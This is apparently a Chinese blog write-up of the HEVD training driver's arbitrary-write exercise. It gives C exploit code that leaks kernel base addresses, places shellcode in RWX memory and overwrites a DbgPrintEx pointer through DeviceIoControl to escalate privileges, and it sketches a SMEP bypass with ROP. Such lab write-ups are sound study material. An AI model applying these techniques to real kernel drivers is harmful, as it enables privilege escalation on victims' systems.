非预期方法,暂时不会放出来
HEVD练习-任意地址写
漏洞点
一点好玩的
传入一个结构体,得到结构体过后写入内容
结构体
1 2 3 4 5
| typedef struct _WRITE_WHAT_WHERE { unsigned int* What; unsigned int* Where; }arbitrary_write, *pArbitraryWrite;
|
这里我做一个比较有意思的事儿,比如修改某个变量的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| printf("[*] Start Exploit\n"); pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write)); if (payload == NULL) { printf("[!] Malloc payload failed\n"); return; } int vuln = 0x10000; int pay = 0xDEADBEEF; printf("[-] the vuln value is 0x%x\n", vuln); payload->What = (unsigned int *)&pay; payload->Where = (unsigned int *)&vuln; DWORD size = sizeof(payload);
DWORD info = 0; system("pause"); DeviceIoControl(hDevice, ioctl, payload, size, NULL, 0, &info, NULL); printf("[-] now vuln value is 0x%x", vuln);
|
利用ioctl的机制也可以实现读取某个地址的值
预期打法
最开始栈溢出我们提权使用的是修改当前的Token的低位并修改Token的Present和Enable,如果这里我们知道地址的话就可以做一样的操作了
但是在普通权限下不可能知道地址,那么我们是否能够覆盖HEVD驱动中的某些函数,使用类似inline hook的方式,将函数地址改为我们shellcode的地址,这样我们把问题变成了和内核栈溢出类似的情况了
利用之前的NtQueryInfomation
的ulGetKernelBase
函数可以获得HEVD的基地址
这里我就尝试覆写DbgPrintEx函数为shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| printf("[*] Start Exploit\n"); pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write)); if (payload == NULL) { printf("[!] Malloc payload failed\n"); return; } funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD"); funcaddr dbgprint_addr = hevd_base + 0x2008; funcaddr nt_base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); printf("[*] HEVD SYS kernel base %llx\n", hevd_base); printf("[*] ntoskrnl kernel base %llx\n", nt_base); printf("[*] HEVD DbgPrint Address %llx\n", dbgprint_addr);
printf("[*] Allocate Shellcode Space\n"); LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(cmd), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (shellcode_addr == NULL) { printf("[!] shellcode addr failed\n"); return; } memcpy(shellcode_addr, cmd, sizeof(cmd)); printf("[*] Shellcode addr %llx\n", shellcode_addr);
payload->What = (unsigned int *)&shellcode_addr; payload->Where = (unsigned int *)dbgprint_addr; DWORD size = sizeof(payload);
DWORD info = 0; system("pause"); DeviceIoControl(hDevice, ioctl, payload, size, NULL, 0, &info, NULL); system("cmd.exe");
|
注意,覆写的是HEVD_BASE+0x2008
的值 所指向的值
成功覆写
现在比较麻烦的就是过SMEP保护。
可以利用之前GS保护使用的内核栈泄露
https://joe1sn.eu.org/2024/02/24/win-hevd-exp-stackoverflow-GS/
直接在栈上布置参数和ROP链,要么取消SMEP,要么参考KVAS直接使用ROP链申请的堆中执行,后续操作就和栈溢出一致,只不过需要把某个函数该地址改为第一个ROP地址
非预期利用
写到这里在翻查别人wp的时候突然想到驱动是一直在后台运行的,我们可以多次触发该漏洞,然后我用了一种非常规的方法,eee,目前这种方法我还用在一些项目上,所以暂时不公开…SORRY
方法可以参考:https://0dr3f.github.io/2023/07/14/HEVD_Win10_22H2_ArbitraryOverwrite/
(虽然我的方法比他简单很多)
可以优雅退出不卡顿
引用
https://0dr3f.github.io/2023/07/14/HEVD_Win10_22H2_ArbitraryOverwrite/